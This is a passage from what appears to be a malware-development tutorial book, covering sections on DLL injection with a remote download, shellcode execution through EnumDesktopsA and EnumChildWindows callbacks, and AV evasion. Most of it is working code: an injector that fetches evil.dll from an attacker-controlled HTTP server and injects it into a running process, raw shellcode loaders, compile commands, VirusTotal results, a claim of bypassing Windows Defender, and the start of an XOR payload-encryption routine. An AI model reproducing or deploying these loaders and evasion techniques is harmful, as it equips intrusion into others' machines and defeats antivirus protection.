and designed to download payload or evil DLL from a url, with an emphasis
on http, and execute or inject it. The benefits to the download/execute (or
download/inject) approach are that it can be used behind networks that filter all
other traffic aside from HTTP. It can even work through a pre-configured proxy
given that said proxy does not require authentication information.

practical example
First of all, let’s go to consider classic DLL injection malware. In the simplest
case it will look like this:
/*
* classic DLL injection example
* author: @cocomelonc
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

259
#include <windows.h>
#include <tlhelp32.h>

char evilDLL[] = "C:\\evil.dll";


unsigned int evilLen = sizeof(evilDLL) + 1;

int main(int argc, char* argv[]) {


HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer

HMODULE hKernel32 = GetModuleHandle("Kernel32");


VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");

// parse process pid


if ( atoi(argv[1]) == 0) {
printf("PID not found :( exiting...\n");
return -1;
}
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
DWORD(atoi(argv[1])));
rb = VirtualAllocEx(ph, NULL, evilLen,
(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
CloseHandle(ph);
return 0;
}

It’s pretty simple as you can see.


Here I want to add some simple logic for downloading our evil.dll. In the
simplest case it will look like this:
// download evil.dll from url
char* getEvil() {
HINTERNET hSession = InternetOpen((LPCSTR)"Mozilla/5.0",
INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hHttpFile = InternetOpenUrl(hSession,
(LPCSTR)"http://192.168.56.1:4444/evil.dll",
0, 0, 0, 0);
DWORD dwFileSize = 1024;
char* buffer = new char[dwFileSize + 1];
DWORD dwBytesRead;
DWORD dwBytesWritten;

260
HANDLE hFile = CreateFile("C:\\Temp\\evil.dll",
GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ,
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
do {
buffer = new char[dwFileSize + 1];
ZeroMemory(buffer, sizeof(buffer));
InternetReadFile(hHttpFile, (LPVOID)buffer,
dwFileSize, &dwBytesRead);
WriteFile(hFile, &buffer[0], dwBytesRead,
&dwBytesWritten, NULL);
delete[] buffer;
buffer = NULL;
} while (dwBytesRead);

CloseHandle(hFile);
InternetCloseHandle(hHttpFile);
InternetCloseHandle(hSession);
return buffer;
}

This function download evil.dll from attacker’s machine (192.168.56.1:4444,


but in the real-life scenario it can be looks like evilmeowmeow.com:80) and save
to file C:\\Temp\\evil.dll.
Then, we run this code in the main() function. Full source code of our injector
is:
/*
evil_inj.cpp
classic DLL injection example
author: @cocomelonc
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <wininet.h>
#pragma comment (lib, "wininet.lib")

char evilDLL[] = "C:\\Temp\\evil.dll";


unsigned int evilLen = sizeof(evilDLL) + 1;

// download evil.dll from url


char* getEvil() {
HINTERNET hSession = InternetOpen((LPCSTR)"Mozilla/5.0",

261
INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hHttpFile = InternetOpenUrl(hSession,
(LPCSTR)"http://192.168.56.1:4444/evil.dll",
0, 0, 0, 0);
DWORD dwFileSize = 1024;
char* buffer = new char[dwFileSize + 1];
DWORD dwBytesRead;
DWORD dwBytesWritten;
HANDLE hFile = CreateFile("C:\\Temp\\evil.dll",
GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ,
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
do {
buffer = new char[dwFileSize + 1];
ZeroMemory(buffer, sizeof(buffer));
InternetReadFile(hHttpFile, (LPVOID)buffer,
dwFileSize, &dwBytesRead);
WriteFile(hFile, &buffer[0], dwBytesRead,
&dwBytesWritten, NULL);
delete[] buffer;
buffer = NULL;
} while (dwBytesRead);

CloseHandle(hFile);
InternetCloseHandle(hHttpFile);
InternetCloseHandle(hSession);
return buffer;
}

// classic DLL injection logic


int main(int argc, char* argv[]) {
HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer

// handle to kernel32 and pass it to GetProcAddress


HMODULE hKernel32 = GetModuleHandle("Kernel32");
VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
char* evil = getEvil();

// parse process ID
if ( atoi(argv[1]) == 0) {
printf("PID not found :( exiting...\n");
return -1;
}
printf("PID: %i\n", atoi(argv[1]));

262
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
DWORD(atoi(argv[1])));

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL, evilLen,
(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

// "copy" evil DLL between processes


WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);

// our process start new thread


rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
CloseHandle(ph);
return 0;
}

As usual, for simplicity, we create DLL which just pop-up a message box:
/*
evil.cpp
simple DLL for DLL inject to process
author: @cocomelonc
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,


DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow from evil.dll!",
"=ˆ..ˆ=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}

263
return TRUE;
}

So finally after we understood entire code of the injector, we can test it.

demo
First of all, compile DLL:
x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -fpermissive

Then, compile injector:


x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-lwininet -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Prepare simple web server on attacker’s machine:


python3 -m http.server 4444

Make sure that the specified path exists in the victim’s machine (C:\\Temp):

264
Finally, run victim process mspaint.exe and run injector hack.exe:
.\hack.exe <mspaint.exe's PID>

265
As you can see, everything is worked perfectly :)
Let’s go to upload to VirusTotal:

266
https://www.virustotal.com/gui/file/00e3254cdf384d5c1e15e217e89df9f78b73
db7a2b0d2b7f5441c6d8be804961/detection
So 6 of 69 AV engines detect our file as malicious
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
InternetOpen
InternetOpenUrl
InternetReadFile
InternetCloseHandle
WriteFile
CreateFile
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
OpenProcess
GetProcAddress
LoadLibraryA
classic DLL injection
source code in Github

267
33. malware development tricks. Run shellcode via
EnumDesktopsA. C++ example.

This section is the result of self-researching interesting trick: run shellcode via
enumerates desktops.

EnumDesktopsA
Enumerates all desktops associated with the calling process’s specified window
station.
The function passes the name of each desktop to a callback function defined by
the application:
BOOL EnumDesktopsA(
HWINSTA hwinsta,
DESKTOPENUMPROCA lpEnumFunc,
LPARAM lParam
);

practical example
Let’s go to look at a practical example. The trick is pretty simple:
/*
* hack.cpp - run shellcode via EnumDesktopA.
C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/06/27/malware-injection-20.html
*/

268
#include <windows.h>

unsigned char my_payload[] =


// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main(int argc, char* argv[]) {


LPVOID mem = VirtualAlloc(NULL, sizeof(my_payload),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, my_payload, sizeof(my_payload));
EnumDesktopsA(GetProcessWindowStation(),
(DESKTOPENUMPROCA)mem, NULL);
return 0;
}

As you can see, first we allocate memory buffer in a current process via
VirtualAlloc:
LPVOID mem = VirtualAlloc(NULL, sizeof(my_payload),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);

Then “copy” our payload to this memory region:


RtlMoveMemory(mem, my_payload, sizeof(my_payload));

269
And then, as a pointer to the callback function in EnumDesktopsA we specify
this memory region:
EnumDesktopsA(GetProcessWindowStation(),
(DESKTOPENUMPROCA)mem, NULL);

As usually, for simplicity I used meow-meow messagebox payload:


unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

demo
Let’s go to see everything in action. Compile our “malware”:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

270
and run in our victim’s machine:
.\hack.exe

As you can see, everything is work perfectly :)


Let’s go to upload hack.exe to VirusTotal:

271
So, 16 of 66 AV engines detect our file as malicious.
https://www.virustotal.com/gui/file/657ff9b6499f8eed373ac61bf8fc98257295
869a833155f68b4d68bb6e565ca1/detection
And what’s interesting this trick bypassed Windows Defender:

I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
EnumDesktopsA
source code in github

272
34. malware development tricks. Run shellcode via Enum-
ChildWindows. C++ example.

This section is the result of self-researching interesting trick: run shellcode via
enumerates the child windows.

EnumChildWindows
Enumerates the child windows of the specified parent window by providing the
handle to each child window to a callback function that has been created by
the application. EnumChildWindows continues until either the final child window
has been enumerated or the callback function returns FALSE:
BOOL EnumChildWindows(
HWND hWndParent,
WNDENUMPROC lpEnumFunc,
LPARAM lParam
);

practical example
Let’s go to look at a practical example. The trick is pretty simple, similar to
previous trick:
/*
* hack.cpp - run shellcode via EnumChildWindows.
C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/malware/

273
2022/07/13/malware-injection-21.html
*/
#include <windows.h>

unsigned char my_payload[] =


// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main(int argc, char* argv[]) {


LPVOID mem = VirtualAlloc(NULL, sizeof(my_payload),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, my_payload, sizeof(my_payload));
EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);
return 0;
}

First we allocate memory buffer in a current process via VirtualAlloc:


LPVOID mem = VirtualAlloc(NULL, sizeof(my_payload),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);

Then “copy” our payload to this memory region:

274
RtlMoveMemory(mem, my_payload, sizeof(my_payload));

And then, as a pointer to the callback function in EnumChildWindows we specify


this memory region:
EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);

As usually, for simplicity I used meow-meow messagebox payload:


unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

demo
Let’s go to see everything in action. Compile our “malware”:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

275
and run in our victim’s machine:
.\hack.exe

As you can see, everything is work perfectly :)


Let’s go to upload hack.exe to VirusTotal:

276
So, 20 of 69 AV engines detect our file as malicious.
https://www.virustotal.com/gui/file/71c4294f90d6d6c3686601b519c2401a58
bb1fb03ab9ca3975eca7231af77853/detection
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
EnumChildWindows
source code in github

35. AV engines evasion for C++ simple malware.

AV evasion has always being challenging for red teamers and pentesters, especially
for those who write malwares.
In our tutorial, we will write a simple malware in C++ that will launch our
payload: calc.exe process. Then we check through virustotal how many AV
engines detect our malware, after which we will try to reduce the number of AV
engines that will detect our malware.
Let’s start with simple C++ code of our malware:
/*
cpp implementation malware example with calc.exe payload

277
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// our payload calc.exe


unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned int my_payload_len = sizeof(my_payload);

int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

278
// Allocate a memory buffer for payload
my_payload_mem = VirtualAlloc(0, my_payload_len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

// copy payload to buffer


RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);

// make new buffer as executable


rv = VirtualProtect(my_payload_mem, my_payload_len,
PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {

// run payload
th = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE) my_payload_mem,
0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}

So we have just one function main(void) function:

and we have sizeof(my_payload) size of payload.


For simplicity, we use calc.exe as the payload. Without delving into the
generation of the payload, we will simply substitute the finished payload into
our code:
unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,

279
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

And the main logic of our main function is:

Let’s go to investigate this logic. If you want to run our payload in the memory
of the process, we have to do couple of things. We have to create a new memory
buffer, copy our payload into the buffer, and a start executing this buffer.
The first we do we allocate new memory region in a process and we store the
address in my_payload_mem variable:

280
and this memory region is readable and writeable.
Then, we copy our my_payload to my_payload_mem:

And then we set our buffer to be executable:

Ok, everything is good but why I am not doing this in 44 line???

why not just allocate a buffer which is readable writable and executable?

281
And the reason is pretty simple. Some hunting tools and AV engines can spot
this memory region, because it’s quite unusable that the process needs a memory
which is readable, writeable and executable at the same time. So to bypass this
kind of detection we are doing in a two steps.
And if everything goes well, we run our payload as the separate new thread in a
process:

Let’s go to compile our malware:

and run (on Windows 10 x64):

So basically this is how you can store your payload in a .text section without
encryption.
Let’s go to upload our evil.exe to Virustotal:

282
https://www.virustotal.com/gui/file/c9c49dbbb0a668df053d0ab788f9dde2d9
e59c31672b5d296bb1e8309d7e0dfe/detection
So, 22 of of 66 AV engines detect our file as malicious.
Let’s go to try to reduce the number of AV engines that will detect our malware.
For this first we must encrypt our payload. Why we want to encrypt our payload?
The basic purpose of doing this to hide you payload from someone like AV engine
or reverse engineer. So that reverse engineer cannot easily identify your payload.
The purpose of encryption is the transform data in order to keep it secret from
others. For simplicity, we use XOR encryption for our case.
Let’s take a look at how to use XOR to encrypt and decrypt our payload.
Update our simple malware code:
/*
cpp implementation malware
example with calc.exe payload
encrypted via XOR
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// our payload calc.exe


unsigned char my_payload[] = {};
unsigned int my_payload_len = sizeof(my_payload);

// key for XOR decrypt


char my_secret_key[] = "mysupersecretkey";

// decrypt deXOR function


void XOR(char * data, size_t data_len, char * key,
size_t key_len) {

283
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ˆ key[j];
j++;
}
}

